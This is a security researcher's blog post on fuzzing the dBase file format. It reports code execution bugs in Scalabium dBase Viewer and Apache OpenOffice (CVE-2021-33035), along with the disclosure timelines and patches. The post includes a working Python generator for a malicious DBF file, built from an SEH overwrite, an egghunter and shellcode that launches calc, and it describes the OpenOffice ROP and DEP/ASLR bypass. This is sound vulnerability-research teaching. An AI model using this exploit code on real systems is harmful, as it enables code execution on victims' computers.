All Your (d)Base Are Belong To Us, Part 1: Code Execution in Apache OpenOffice (CVE-2021–33035)

Eugene Lim Follow
Sep 17 · 14 min read

Introduction

Venturing out into the wilderness of vulnerability research can be a daunting task. Coming from a background in primarily web and application security, I had to shift my hacking mindset towards memory corruption vulnerabilities and local attack vectors. This two-part series will share how I got started in vulnerability research by discovering and exploiting code execution zero-days in office applications used by hundreds of millions of people. I will outline my approach to getting started in vulnerability research including dumb fuzzing, coverage-guided fuzzing, reverse engineering, and source code review. I will also discuss some management aspects of vulnerability research such as CVE assignment and responsible disclosure.

In part two, I will disclose additional vulnerabilities that I discovered via coverage-guided fuzzing — including CVE-2021–38646: Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability.

About that title...

Picking a Target

One piece of advice I received early in the vulnerability research journey was to focus on a file format, not a specific piece of software. There are two main advantages to this approach. Firstly, as a beginner, I lacked the experience to quickly identify unique attack

vectors in individual applications, whereas file format parsing tends to be a common entrypoint among many applications. Furthermore, common file formats are well-documented by Request for Comments (RFCs) or open-source code, reducing the amount of effort required to reverse-engineer the format. Lastly, file format fuzzing tends to be much simpler to set up than protocol fuzzing. Overall, it is a good way to get started in vulnerability research.

However, not all file formats are created equal. I needed to select a file format that was not simply a ZIP file in disguise, (e.g. a DOCX file). This helped to simplify my fuzzing templates rather than dealing with nested file containers and reduced the amount of complexity when conducting root cause analysis. As far as possible, I also wanted to focus on a less-researched file format that may have escaped the notice of other researchers.

After a bit of Googling, I found the **dBase database** file (DBF) format (.dbf).

Created almost 40 years ago, the dBase database format was used as a data storage mechanism for a variety of applications, from spreadsheet processors to integrated development environments (IDEs). Although it continued to support more use cases with each revision, the format still suffered from significant limitations in storage and media support, eventually losing out to more advanced competitors. However, due to its status as a legacy file format across multiple platforms, dBase databases still popped up in interesting places, such as in the shapefile geographic information system (GIS) format. Many spreadsheet and office applications have continued to support DBF, including Microsoft Office, LibreOffice, and Apache OpenOffice.

Fortunately, it was relatively simple to discover the file format documentation for dBase; Wikipedia has a simple description of version 5 of the format and dBase LLC also provides an updated specification. The Library of Congress lists an amazing catalogue of file formats, including DBF. The various versions and extensions of the DBF format provide ample opportunities for programmers to introduce parsing vulnerabilities.

Dumb Fuzzing with GitLab's Peach Fuzzer

Before diving into coverage-guided fuzzing (which I will write about in part 2), I decided to validate my understanding of the file format by using a format-based dumb fuzzer to discover vulnerabilities in simple DBF processors. FileInfo.com provided a list of programs that could open DBF files. I focused on tiny applications whose sole job was to open and display DBF files rather than complex enterprise applications. This had a few advantages. Firstly, it would be much faster to fuzz with dumb fuzzers, which run the entire application rather than a minimal harness. Secondly, there was a greater likelihood that these less well-maintained applications would be vulnerable to format-based exploits. Lastly, this allowed me to isolate any crashes to the file format parsing logic itself. For my research, I fuzzed Windows applications due to the relative abundance of Windows DBF processors.

I used GitLab's open-source Peach Fuzzer — something I previously wrote about — as my dumb fuzzer. Peach Fuzzer claims to be "smart" due to the way it records and analyses crashes as they occur. However, compared to modern coverage-based fuzzers that trace the execution flow with each iteration, Peach Fuzzer only instruments execution (via Intel PIN) in its corpus minimisation tool. During the actual fuzzing itself, Peach mutates test cases based on a given template, also known as "Pits".

Crafting the Peach Pit for the DBF format proved to be the most difficult and time-consuming stage of dumb fuzzing. The DBF format consists of two main sections: the header and the body. The header includes a prefix that describes the dBase database version, the last update timestamp, and other metadata. More importantly, it specifies the length of each record in the database, the length of the header structure, the number of records, and the data fields in a record. The fields themselves can be integers, strings, floating numbers, or any other supported data types. The fields also include a `FieldLength` descriptor. The body simply contains all the records as described by the header.

To describe the relationship between the number of records specified in the header and the number of actual records in the body, I used the Relation block. For example, I specified the `NumberOfRecords` header bytes as such:

```
<Number name="NumberOfRecords" size="32" signed="false">
 <Relation type="count" of="Records" />
 </Number>
```

Later in the template, I added a `<Block name="Records" minOccurs=0">` block in the body. Peach automatically detected this relation and ensured that in subsequent mutations, the number of `Records` blocks in the fuzzing candidate matched the `NumberOfRecords` byte in the header (unless the mutation is intended).

One consideration I struggled with was how strict the templates should be. For example, since Peach supports various data types such as `String` and `Number`, I could have also specified that the record data in the body should correspond to the `FieldType` descriptions in the header. However, this might have prevented the fuzzer from discovering interesting new crashes, such as if a `String` type was provided for an `Integer` field. Ultimately, I decided to keep this flexible with a generic `<Blob name="RecordData" />` block.

With my Peach Pit complete, it was time to gather a corpus of samples to generate new fuzzing candidates. I wrote a simple Python script to scrape samples using the `filetype:dbf` Google dork, triaged the samples, and then minimised the corpus with Peach's own tool: `.\PeachMinset.exe -s samples -m minset -t traces "<PATH TO FUZZING TARGET>" %s`. This cut the corpus size down from more than 200 to about 20.

After all that work, I could finally begin fuzzing! This was as simple as `Z:\peach\Peach.exe .\dbf_pit.xml`. Some of the applications held up well; for others, the crashes piled up quickly.

Peach CLI Crashes

Peach Fuzzer runs WinDBG's !exploitable script on crashes to triage them. Here, we see that Scalabium dBase Viewer suffered from a structured exception handler (SEH) overwrite crash from one of the test cases.

SEH Crash

Since SEH overwrites are one of the easiest to exploit in Windows (if there are no pesky protections in the way), Peach rightly categorised it as EXPLOITABLE. Additionally, Peach listed which fields it mutated for this test case.

The next step was to pinpoint exactly which bytes caused the SEH overwrite in the test case. I opened the test case in 010 Editor with a DBF template that highlighted which bytes corresponded to the format's specification and manually whittled away excess bytes until I had a "minimal viable crash" file that reproduced the same crash.

Minimal Viable Crash

On the left, you can see the original crash was 18538 bytes, while on the right the minimal viable crash file was only 102 bytes. By removing excess bytes in blocks while ensuring that the crash was still reproducible, I eventually isolated the root cause of the crash: the field with fieldType of 2!

Going back to the DBF documentation, the `fieldType` byte defines the data type of the corresponding field in the record, such as `C` for character, `D` for date, `l` for long, and so on. However, `2` was not mentioned. After further research, I came across the documentation for the FlagShip extension to the dBase database format that included a 2 data type:

FlagShip DBF Data Types

This suggested that the overflow occurred due to an overly large buffer being copied into the short int buffer of size 2. I decided to further inspect the crash in WinDBG:

```
(173c.21c): Access violation – code c0000005 (first chance)
 First chance exceptions are reported before any exception handling.
 This exception may be expected and handled.
 *** WARNING: Unable to verify checksum for
C:\Users\offsec\Desktop\exploits\dbfview\dbfview\dbfview.exe
 eax=001979d0 ebx=41414141 ecx=00000000 edx=41414141 esi=00000000
edi=02214628
 eip=0046619c esp=00197974 ebp=0019faa4 iopl=0 nv up ei pl zr na pe
nc
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
 dbfview+0x6619c:
 0046619c 8b4358 mov eax,dword ptr [ebx+58h]
ds:002b:41414199=????????
 0:000> !exchain
 0019798c: dbfview+6650f (0046650f)
 0019faac: 42424242
 Invalid exception stack at 41414141
 0:000> dd 0019faac-0x20
 0019fa8c 00000000 41414141 41414141 41414141
 0019fa9c 41414141 41414141 41414141 41414141
 0019faac 41414141 42424242 0019fb40 0019fb48
 0019fabc 004676e7 0019fb40 004c1c10 00000002
 0019facc 02214628 00000000 02214744 00000000
 0019fadc 00000000 0019fb48 004082ef 02214744
 0019faec 80000000 00000003 00000000 00000003
 0019fafc 00000080 00000000 4c505845 0054494f
```

I observed that my controlled buffer of size 36 (as specified in fieldLength in the 010 Editor template) had been copied byte for byte into the short int buffer which led to the SEH overwrite. This suggested that the application blindly trusted the attacker-controlled `fieldLength` when performing a copy of the bytes into a pre-allocated buffer

whose size was determined by the attacker-controlled `fieldType`. This resulted in a straightforward buffer overflow with no special character requirements. Before proceeding with the exploitation, I performed one final check with `narly` for any memory protections:

```
0:000> !nmod
 00400000 0051e000 dbfview /SafeSEH OFF
C:\Users\offsec\Desktop\exploits\dbfview\dbfview\dbfview.exe
```

Great, dbfview had no protections. I proceeded to write a short script to generate my proof-of-concept payload.

```
from struct import pack

 # SEH-based egghunter with egg w00tw00t
 egghunter =
b"\xeb\x2a\x59\xb8\x77\x30\x30\x74\x51\x6a\xff\x31\xdb\x64\x89\x23\x8
3\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07
\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\
x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\x
c3"

 # dbase header
 payload = b'\x03' # dbase version number
 payload += b'\x01\x01\x01' # last update date
 payload += pack('<i', 1) # number of records
 payload += pack('<h', 65) # number of records
 payload += pack('<h', 4095) # length of each record
 payload += 20 * b'\x00' # reserved bytes

 # field definition
 payload += pack('11s', b'EXPLOIT') # field name
 payload += b'2' # field type (short integer)
 payload += 4 * b'\x00' # field data address (can be null)
 payload += pack('B', 255) # field size (change accordingly)
 payload += 15 * b'\x00' # reserved bytes
 payload += b'\x0D' # terminator character

 # record definition
 payload += b'\x20' # deleted flag
 payload += 28 * b'\x90' # offset
 # payload += 4 * b'\x41' # offset
 payload += pack("<L", (0x909006eb)) # JMP 06
 payload += pack("<L", (0x00457886)) # dbfview: pop edi; pop esi;
ret
 payload += egghunter
 payload += b'w00tw00t' # egg

 # msfvenom -p windows/exec CMD=calc -f python -v payload
 payload += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
 payload += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
 payload += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
 payload += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
 payload += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
 payload += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
 payload += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
 payload += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
 payload += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
 payload += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
 payload += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
 payload += b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00"
 payload += b"\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
 payload += b"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
 payload += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
 payload += b"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00"

 with open('payload.dbf', 'wb') as w:
 w.write(payload)
```

I opened the generated file in dbfview.exe, and popped Calc. Great!

Proof of Concept for Scalabium dBase Viewer

Source Code Review of Apache OpenOffice

Now that I had validated my dumb fuzzing template on a few smaller DBF processors, it was time to aim higher. The dumb fuzzing stage taught me that the DBF file format suffers from an inherent weakness: the buffer size of a record can be determined either by the `fieldLength` or the `fieldType` in the header. If a programmer blindly trusts one of them when allocating a buffer, but uses the other to determine the size of a copy into that buffer, this can lead to a buffer overflow.

As some open-source projects like Apache OpenOffice support DBF files, I decided to perform a source code review for this vulnerability. Not long after, I hit the jackpot on OpenOffice's DBF parsing code:

```
else if ( DataType::INTEGER == nType )
 {
 sal_Int32 nValue = 0;
 memcpy(&nValue, pData, nLen);
 *(_rRow->get())[i] = nValue;
 }
```

Here, we can see a buffer `nValue` of size `sal_Int32` (4 bytes) being instantiated for a field of type `INTEGER`. Next, `memcpy` copies a buffer of size `nLen` — which is an attacker-controlled value — into `nValue` without validating that `nLen` is smaller than or equal to 4. This pattern was repeated across various data types. Could this be a variation of the previous buffer overflow? I quickly modified my previous payload generator to the integer field type (`I`), increased the size of `fieldLength` to greater than `sal_Int32`, and opened the file in OpenOffice Calc. I got my crash!

Unfortunately, things weren't so easy this time round. Although the initial crash resulted in an SEH overwrite, the SEH chain refused to execute. The soffice binary itself had Safe Exception Handlers (SAFESEH) protections on, along with address space layout randomization (ASLR) and Data Execution Prevention (DEP), which prevented simple exploitation of the overflow.

Tracing back from the initial exception, I realised that it was triggered by some kind of

validation check earlier in the execution flow:

```
0:000> p
 eax=08ceacec ebx=0ffe68e8 ecx=08ceacf0 edx=00000001 esi=0ff38d60
edi=084299b9
 eip=08c56920 esp=0178dd58 ebp=0178de74 iopl=0 nv up ei pl nz na pe
nc
 cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
 dbase+0x16920:
 08c56920 e862c6feff call dbase+0x2f87 (08c42f87)
 0:000> u dbase+0x2f87 L12
 dbase+0x2f87:
 08c42f87 55 push ebp
 08c42f88 8bec mov ebp,esp
 08c42f8a 56 push esi
 08c42f8b 8bf1 mov esi,ecx
 08c42f8d 8b4610 mov eax,dword ptr [esi+10h]
 08c42f90 2b460c sub eax,dword ptr [esi+0Ch]
 08c42f93 57 push edi
 08c42f94 8b7d08 mov edi,dword ptr [ebp+8]
 08c42f97 c1f802 sar eax,2
 08c42f9a 3bf8 cmp edi,eax
 08c42f9c 7206 jb dbase+0x2fa4 (08c42fa4)
 08c42f9e ff1588b0c608 call dword ptr [dbase!GetVersionInfo+0x9176
(08c6b088)]
 08c42fa4 8b460c mov eax,dword ptr [esi+0Ch]
 08c42fa7 8d04b8 lea eax,[eax+edi*4]
 08c42faa 5f pop edi
 08c42fab 5e pop esi
 08c42fac 5d pop ebp
 08c42fad c20400 ret 4
```

Since the exception was triggered if the `cmp edi,eax` check failed, I performed dynamic analysis to determine the offset in my payload that was being evaluated, and set it to `00000001` to pass the check. This time, a different exception occurred — an invalid instruction exception.

This was a good sign that I had overwritten a return pointer on the stack and could thus control the execution flow again, which I confirmed in WinDBG. However, I still needed to get a DEP and ASLR bypass to start my return-oriented programming chain. Once again, I checked the protections of the loaded modules with `narly`:

```
0:011> !nmod
 00110000 00b9c000 soffice /SafeSEH ON /GS *ASLR *DEP C:\Program
Files\OpenOffice 4\program\soffice.bin
 03e20000 04b67000 icudt40 NO_SEH C:\Program Files\OpenOffice
4\program\icudt40.dll
 4de60000 4df58000 libxml2 /SafeSEH ON /GS C:\Program
Files\OpenOffice 4\program\libxml2.dll
 50040000 50097000 scui /SafeSEH ON /GS *ASLR *DEP C:\Program
Files\OpenOffice 4\program\scui.DLL
 500a0000 502d3000 sb /SafeSEH ON /GS *ASLR *DEP C:\Program
Files\OpenOffice 4\program\sb.dll
 50360000 50395000 forui /SafeSEH ON /GS *ASLR *DEP C:\Program
Files\OpenOffice 4\program\forui.dll
 503a0000 503e1000 uui /SafeSEH ON /GS *ASLR *DEP C:\Program
Files\OpenOffice 4\program\uui.dll
 50470000 504bf000 ucpfile1 /SafeSEH ON /GS *ASLR *DEP C:\Program
Files\OpenOffice 4\program\ucpfile1.dll
 504c0000 5053a000 configmgr_uno /SafeSEH ON /GS *ASLR *DEP
C:\Program Files\OpenOffice 4\program\configmgr.uno.dll
```

Bingo. Among the various modules, `libxml2` was still compiled without any DEP or ASLR protections, allowing me to use it as a source of ROP gadgets. I dumped all possible ROP gadgets with 0vercl0k's rp tool and got to work. I quickly encountered a

problem: no matter how I set `fieldLength` value, it appeared that the overwritten buffer was limited to about 256 bytes. This precluded a traditional `GetModuleHandleA` > `GetProcAddress` > `VirtualProtect` chain, forcing me to try harder to meet this size limit. I began by trying a few optimizations. I moved my final `VirtualProtect` skeleton before the ROP chain in the buffer, giving me a little more room for my ROP gadgets. For my stack pivot, I used a hard-coded `add esp, 0x0C ; ret ;` gadget so that I did not have to dynamically create the offset in my chain. Lastly, for the purposes of the proof-of-concept, I decided to simply load `WinExec` to pop calc. This reduced the number of function calls I needed.

With a bit of elbow grease, I was finally able to get my proof-of-concept to work:

Proof of Concept for Apache OpenOffice Calc

With the insights I gathered from simple dumb fuzzing, I managed to get a code execution vulnerability in a software that was downloaded more than 300 million times! This begged the question: why did no one discover this bug earlier? As an open-source program, OpenOffice would undoubtedly have been automatically scanned by various static code analysers, which would have easily picked up the unsafe memcpy.

When I checked OpenOffice's page on https://lgtm.com/, a code analysis platform that runs CodeQL tests on open-source projects, I noticed something interesting:

LGTM OpenOffice

OpenOffice was tagged as a Python and JavaScript project. Since CodeQL requires the scanner to build a database of the relevant source code, CodeQL would have completely missed these vulnerabilities if OpenOffice's C++ code had been excluded while building the database. Browsing the files on LGTM, I noticed that there were no C++ files included. This demonstrates the importance of sanity-checking automated static analysis tools; if your tools don't know the code exists, it can't find those vulnerabilities.

Disclosing the Vulnerabilities

As it was my first foray into vulnerability research, I encountered a bit of a culture shock when it came to disclosure. Unlike web-based bug bounties where patches are relatively easier to deploy and resolve in a matter of days or weeks, development cycles for native applications, especially widely used ones, can be on the order of months. While Scalabium dBase viewer was run by a single developer and could be resolved almost immediately, Apache OpenOffice took much longer.

Scalabium dBase Viewer (CVE-2021–35297)

• Jun 7: Initial disclosure

• Jun 9: Acknowledgement and patch

• Aug 17: CVE assigned

Apache OpenOffice (CVE-2021–33035)

• 4 May: Initial disclosure

• 5 May: Acknowledgement

• 6 May: Request for disclosure/patch timeline

• 12 May: 2nd request for disclosure/patch timeline

• 19 May: 3rd request for disclosure/patch timeline

• 21 May: Apache request for 30 Aug disclosure date and patch verification; CVE assigned

• 21 May: Verified patch and agreed to 30 Aug disclosure date

• 22 Jul: Request to re-confirm 30 Aug disclosure date

• 26 Jul: Apache re-confirmed 30 Aug disclosure date

• 28 Aug: Notify about 18 Sep full disclosure

• 18 Sep: Full disclosure

Apache released new packages that patched this vulnerability and updated the source code on GitHub to perform buffer size checking. For example, the integer type now ensures that `nLen` equals `4`:

```
else if ( DataType::INTEGER == nType )
 {
 OSL_ENSURE(nLen == 4, “Invalid length for integer field”);
 if (nLen != 4) {
```

```
return false;
}
sal_Int32 nValue = 0;
memcpy(&nValue, pData, nLen);
*(_rRow->get())[i] = nValue;
}
```

Overall, my experience with responsibly disclosing vulnerability research has been extremely varied, depending on the maturity and ability of individual vendors. It was definitely a far cry from the service-level agreement (SLA) timelines I enjoyed on third-party platforms. In some cases, vendors did not have a dedicated security disclosure contact, or listed an inactive email.

Conclusion and Next Steps

As I mentioned in the beginning, this blogpost is part one of a two-part series. Dumb fuzzing and source code reviews can only get you so far, especially when dealing with complex black box applications. In a week or two, I will follow up with part two, where I will disclose additional vulnerabilities I discovered via coverage-guided fuzzing in Microsoft Office and others.

In the meantime, I hope this provides guidance to application security pentesters dipping their toes into vulnerability research. I benefited greatly from expanding my offensive security arsenal and found interesting overlaps in the skills and intuition required for successful vulnerability research.

Cybersecurity Hacking Infosec Csg Sharing